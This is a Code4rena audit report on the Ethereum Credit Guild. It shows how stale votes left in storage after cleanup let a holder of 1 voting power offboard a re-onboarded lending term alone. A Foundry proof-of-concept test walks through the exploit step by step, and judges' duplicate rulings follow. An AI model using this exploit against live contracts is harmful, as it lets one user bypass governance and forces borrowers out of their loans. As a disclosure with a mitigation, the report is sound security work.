Any user can solely offboard a lending term if it was offboarded and re-onboarded

[c4-bot-3]

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/governance/LendingTermOffboarding.sol#L175-L199

Vulnerability details

Impact

When a loan term is offboarded and cleaned up, the contract does not clean/delete any mappings related to the offboarding proposal/votes, so when a loan term is offboarded and cleaned up, all votes and polls are still saved. So if a loan term was offboarded and for whatever reason was re-onboarded within 7 days, any user (with 1 voting power) can come in and solely offboard that lending term.
That user can call supportOffboard, he has 1 voting power (Guild token), with the expected parameters, it will bypass all checks, and when it reaches the following:

if (_weight + userWeight >= quorum) {
    canOffboard[term] = true;
}

it will flip the canOffboard flag on as all the previous votes are still there, and then he can easily call offboard and cleanup.

Impact:

1. This allows any user to have exclusivity in the decision to offboard a lending term, where it should be a governance decision.
2. Force other users to close their loans, and blocks them from taking new loans from that term.

Proof of Concept

function testBug() public {
    // Mint tokens to users
    guild.mint(bob, _QUORUM / 2);
    vm.prank(bob);
    guild.delegate(bob);

    guild.mint(alice, _QUORUM / 2);
    vm.prank(alice);
    guild.delegate(alice);

    guild.mint(carol, 1);
    vm.prank(carol);
    guild.delegate(carol);

    // Propose offboard
    uint256 snapshotBlock = block.number;
    offboarder.proposeOffboard(address(term));

    vm.roll(block.number + 1);
    vm.warp(block.timestamp + 13);

    // Alice and Bob support offboard each with half of the quorum
    vm.prank(bob);
    offboarder.supportOffboard(snapshotBlock, address(term));

    vm.prank(alice);
    offboarder.supportOffboard(snapshotBlock, address(term));

    // Offboard
    offboarder.offboard(address(term));

    // Assert offboarded
    assertEq(guild.isGauge(address(term)), false);
    assertEq(psm.redemptionsPaused(), true);
    assertEq(offboarder.nOffboardingsInProgress(), 1);

    // Close loans
    vm.roll(block.number + 1);
    vm.warp(block.timestamp + 13);
    uint256 debt = term.getLoanDebt(aliceLoanId);
    credit.mint(alice, debt - aliceLoanSize);

    vm.startPrank(alice);
    credit.approve(address(term), debt);
    term.repay(aliceLoanId);
    vm.stopPrank();

    // Cleanup
    offboarder.cleanup(address(term));

    // Assert cleanup
    assertEq(psm.redemptionsPaused(), false);
    assertEq(offboarder.nOffboardingsInProgress(), 0);
    assertEq(offboarder.canOffboard(address(term)), false);
    assertEq(
        core.hasRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(term)),
        false
    );
    assertEq(
        core.hasRole(CoreRoles.RATE_LIMITED_CREDIT_MINTER, address(term)),
        false
    );

    vm.roll(block.number + 1);
    vm.warp(block.timestamp + 13);

    // Re-onboard (for whatever reason)
    guild.addGauge(1, address(term));

    // Assert re-onboarded
    assertEq(offboarder.canOffboard(address(term)), false);
    assertEq(guild.isGauge(address(term)), true);

    // Carol calls support offboard (where she has only 1 voting power)
    // With no need to re-propose offboard
    vm.prank(carol);
    offboarder.supportOffboard(snapshotBlock, address(term));

    assertEq(offboarder.canOffboard(address(term)), true);

    // Offboard and cleanup
    offboarder.offboard(address(term));
    offboarder.cleanup(address(term));

    // Assert cleanup and offboard
    assertEq(psm.redemptionsPaused(), false);
    assertEq(offboarder.nOffboardingsInProgress(), 0);
    assertEq(offboarder.canOffboard(address(term)), false);
    assertEq(
        core.hasRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(term)),
        false
    );
    assertEq(
        core.hasRole(CoreRoles.RATE_LIMITED_CREDIT_MINTER, address(term)),
        false
    );
}

Tools Used

Manual review + vscode

Recommended Mitigation Steps

Clean storage in cleanup.

Assessed type

Governance

[c4-pre-sort]

0xSorryNotSorry marked the issue as sufficient quality report

[c4-pre-sort]

0xSorryNotSorry marked the issue as duplicate of #1141

[c4-judge]

Trumpero marked the issue as satisfactory

[Trumpero]

dup of #1141 due to the root cause: supportOffboard can still be called after offboarding.

[c4-judge]

Trumpero marked the issue as not a duplicate

[c4-judge]

Trumpero marked the issue as duplicate of #1141